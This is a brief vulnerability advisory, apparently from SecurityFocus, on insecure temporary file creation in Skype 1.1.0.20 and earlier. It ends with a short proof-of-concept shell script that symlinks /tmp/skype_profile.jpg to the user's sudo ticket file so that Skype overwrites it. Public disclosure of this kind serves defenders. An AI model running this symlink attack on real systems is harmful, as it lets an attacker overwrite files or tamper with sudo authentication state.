source: https://www.securityfocus.com/bid/14293/info
Skype is affected by an insecure temporary file creation vulnerability.
Exploitation would most likely result in loss of data or a denial of service if critical files are overwritten in the attack. Other attacks may be possible as well.
Skype 1.1.0.20 and prior versions are affected.
#!/bin/sh
#get current terminal number from /dev/pts/xx
terminal_number=`tty | cut -f4 -d '/'`
user_ticket=$USER/$terminal_number:root
ln -s /var/run/sudo/$user_ticket /tmp/skype_profile.jpg
